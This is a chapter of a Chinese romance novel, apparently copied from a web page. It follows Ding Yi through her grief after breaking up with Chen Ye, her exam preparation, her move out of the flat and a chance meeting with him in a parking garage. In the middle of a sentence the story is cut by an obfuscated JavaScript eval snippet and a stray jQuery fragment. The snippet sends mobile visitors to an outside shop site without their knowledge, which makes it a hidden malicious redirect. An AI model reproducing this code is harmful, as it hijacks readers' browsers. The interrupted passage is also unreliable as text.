丁一就像是一个被挖空了心脏的木偶一样,拖着麻木不仁的躯体,机械地回了自己家里。
仿佛有一个罩子,将她的情绪裹住,随意地丢在身体的一个角落,罩子里面暗流涌动,外面看起来倒是风平浪静。
这个夜里,丁一的身影出没在了房间里的每一个角落。她拿着抹布,一点点地擦拭着地板。从客厅的一端,一直擦到了另外一端。
无休无止,不知疲惫。
胃里一阵阵地拧着,一股气不上不下。就像有一把刀,在缓缓割着,一刀接一刀。胃仿佛被一双大手紧紧地捏着,酸涩不断上涌。
大脑刻意避开的情绪,全都在胃上反应了出来。
一阵呕吐感传了上来,丁一立刻跑进了卫生间。扒在马桶边上,干呕许久,太阳穴开始发胀,最后只吐出了几口酸水。酸里带苦,眼底赤红一片。
但她没有因此停下了自己的动作,又转到厨房,把所有的碗拿出来一一洗净。
特意没开热水,刺骨的寒冷,侵蚀着丁一的手。她如同赎罪一般,仿佛用这自虐一般的动作,可以减掉自己的愧疚。
直到屋子里再也没有可供丁一收拾的工作了,她才结束了这一晚的忙碌。只是一停下,就会不由自主地浮现出陈烨最后的背影。
最后的他,连头都没有回。
迷迷糊糊地睡到五点左右,梦里的陈烨不停地质问着:为什么要这样做。一扫往日的温柔,声音冷厉,咄咄逼人。
从梦中惊醒,才睡了两个多小时。休息的时间太少,心脏突突直跳,哪怕只是平躺着,也有心慌的感觉。
丁一一直睁着眼,等着天亮。
挨到了七点钟,给房东发了消息:
“邹姐,下个季度我不住在这里了,最近就会搬走。”
发完消息后,感觉胃里空落落的,准备出去吃个早饭。接触门把的瞬间,想起了过去陈烨都会把早饭挂在这里。
陈烨的名字一旦在脑海里浮现,就会让丁一登时失去所有的欲望。
迈出去的脚又收了回去,食欲瞬间消失,哐当,关上了门。
丁一关门的同一时刻,陈烨刚好推开了自家的门。他看起来与往日没有什么差别,头发仔细打理过,衣服上不允许任何的褶皱,腕表、皮包、文件,一一都带着。
无人知道他昨晚经历了怎样的滔天巨浪。他看着自己和丁一的照片一直到深夜,有些遗憾,两个人的合照居然少得可怜。
他把印着合照的冰箱贴拿了下来,放进了自己的皮包中。已经分手了,再摆在如此醒目的地方,不太合适。但又舍不得丢掉,只好藏在一个离自己最近的地方。
早上习惯地准备了两份早餐,打包的时候发现已经没有什么必要了。
吧嗒一声,是早饭掉落在垃圾桶里的声音。
陈烨进了电梯,没想到竟然在25楼停了下来。眼皮微微颤动,心提了起来,一眨不眨地看着缓缓打开的电梯门,隐隐期待着什么。
只可惜外面空无一人。电梯门关上的瞬间,陈烨按下了开门键。但等了很久,不见有人来。看来,并不是她。
明明就住在上下楼,接下来的几天,两人一次都没有碰到过。好几次陈烨都想去趟天台,但都在即将迈上去的那一刻犹豫了。如果丁一真的在上面,自己又要说些什么呢?
期待见面,又害怕见面。
陈烨碰不到丁一,也很正常。因为她一次门都没出,就像把自己禁锢了一样,没日没夜地复习。
最开始丁一总是不由自主地想到陈烨,吃饭想,做题想,睡觉也想。直到有一天,她在窗边发呆的时候,突然冒出一个想法:跳下去,一切都好了。
危险的想法让她回过神来,丁一猛然发觉,这段时间自己的状态太差了。还有很多事情要做,不能一直消沉。
她给自己规划了每个时间段的安排,包括刷题、背诵、阅读等内容,还有一个特殊的时间:戒断。
丁一硬性规定自己,每天早晨和睡前的一个小时,是戒断时间。戒断时间内唯一要做的事情,就是想陈烨。
与其让这件事出现在自己生活里的每分每秒,不如花一个特定的时间,集中地处理。
最开始的几天,适应地很困难,几乎没什么用,甚至情绪还比之前差了不少。但丁一靠着一股劲儿,生生地挺过了那段时间。
后面这个方法,渐渐有了效果。也可以说,丁一可以逐渐控制自己那纷飞的思绪了。
尽管还是会想念,但一切都在掌控之中。
二月下旬,考研成绩公布,丁一达到了复试的分数线。复试的时间,在三月下旬。
二月的最后一天,是丁一搬家的日子。她在临大附近,找了新房子,租金比现在便宜了不少。一点点地把屋里的东西收进箱子里,在这里住了大半年,辞掉了一个不开心的工作,拥有了一段短暂而又刻骨的爱情。
丁一把陈烨为她准备的生日礼物,小心地收进了一个她最喜欢的箱子里。搬家的车已经停在地下车库了,丁一的东西不多,自己多跑两趟就可以搬完,没有特意的请人来搬。
最重的,就属装了书的箱子。她把箱子放在地上,用脚推进了电梯里,尽量减少对自己力量的损耗。地下车库水泥地摩擦力太大,推起来有些困难,只得抱起来往车子那边走。
当她费力直起腰的瞬间,迎面走来了陈烨。迈出去的脚,立刻停住了。
空气凝滞,微风拂面,星光闪烁,海浪拍岸。这一切并不存在的景象,丁一在一瞬间,全都感知了一遍。
陈烨也看到了她,自然也看到了她手里搬着的箱子。犹豫了几秒钟,还是朝丁一走了过去。
头发没有绑起来,随意地散开,比初见时长了很多。头上别了一个小卡子,是黑色的。
在陈烨的记忆里,以前的丁一好像对亮色情有独钟,第一次见她戴暗色的配饰。
看着迎面走来的陈烨,丁一知道避不开了。抱着箱子的手指暗暗用力,手止不住地颤抖着。
“嗨。”生硬地蹦出一个字,丁一知道,自己的表情一定很难看。
扫了一眼满箱的书,陈烨心下已经了然,但还是不死心地问道:“抱这么多书去干嘛?”
“搬家。”
果然是这个答案。搬了也好,省的自己每天幻想。陈烨自我安慰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571434|142905||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着,伸手去拿丁一手里的箱子:“我来帮你。”
丁一本来抱着不准备撒手,但看陈烨坚持的样子,只好退让。
陈烨的手恰好也停在了她刚才抱箱子的位置,一片湿凉。
“很冷吗?”
丁一摇了摇头。
搬家的车停的不是很远,丁一只觉得陈烨走得很慢。他身上的味道,和之前差别不大,只是烟味要明显一些。想了想,陈烨从来没在自己面前抽过烟。
本来还有一小段距离,那师傅看到了丁一,直接迎了上来,随手接过了陈烨手里的箱子,利落地放进了后备箱。
“妹子,还有东西没了。”师傅一口浓郁的北方口音,声音极大,停车场里都有回音。
也正是由于这声音,把丁一的不自在,驱散了一些。
“没了。”
“得嘞,那我们走吧。”迈着大步往主驾走去,像是想起了什么似的,回头看了一眼陈烨,“帅哥你也一起吗?”
陈烨摆摆手,往后退了两步,看着车子离开。
丁一不敢探出身子,只想在后视镜里再看一眼陈烨,但师傅开的太猛,迅速地转了弯,连个身影都没看到。
出了停车场,就真的算是彻底离开了。未来等待自己的究竟是什么,一切都是未知。只是,一定不会再有陈烨了。
陈烨今天本来是回来取个文件的,但没想到遇到了丁一。上楼的时候,心思还没回笼,没有留意自己按错了楼层。
电梯最后停在了二十五楼。站在门前,依着习惯输入了0716,拉开房门后,才发现自己来了丁一家。里面空空荡荡,丁一临走的时候打扫的很干净,没留下她的一点痕迹。
迈进去的那一刻,陈烨突然意识到,他用自家的密码,打开了丁一的家。
之前明明记得,丁一家的密码是她的生日。
什么时候,她也把密码改成了相遇的日子?本来内心还跃起了一丝欣喜,但立刻想到两人已经分开了,这些已经没有了任何的意义。
他站在门口环视了一下房间,最终停止了要迈进去的举动,退了两步,把门关上。
力气稍微大了一些,砰的响了一声,门框轻颤。恰巧丁一坐的车,经过了一个土坑,车身微微颤动,被晃得有些头晕,今天改密码的场景,又浮了上来。
搬着书箱从房里走出来的时候,她想起要把门锁密码告诉房东,视线落在了那密码键盘上,一个念头缓缓升起。
她和陈烨是在这里相遇的,最后的最后,就把他们的相遇,留在这门锁上好了。0716,一个特殊的日子。由于自己改密码耽误了一段时间,才恰巧在地下车库遇到了陈烨。
多一分,少一秒,就错过了。相见和相别,都刚刚好,以后也不再有遗憾了。
车子在新住所停了下来,箱子里的东西又一件件地被摆放整齐。丁一当时一眼就看中了这里,是因为屋子里有一个精美的玻璃柜,拿来放陈烨的礼物,正合适。
一整个柜子被塞得满满当当,丁一打开自己的手机壳,放进了第二个平安符。
这个是她为陈烨求的。
“要一生平安。”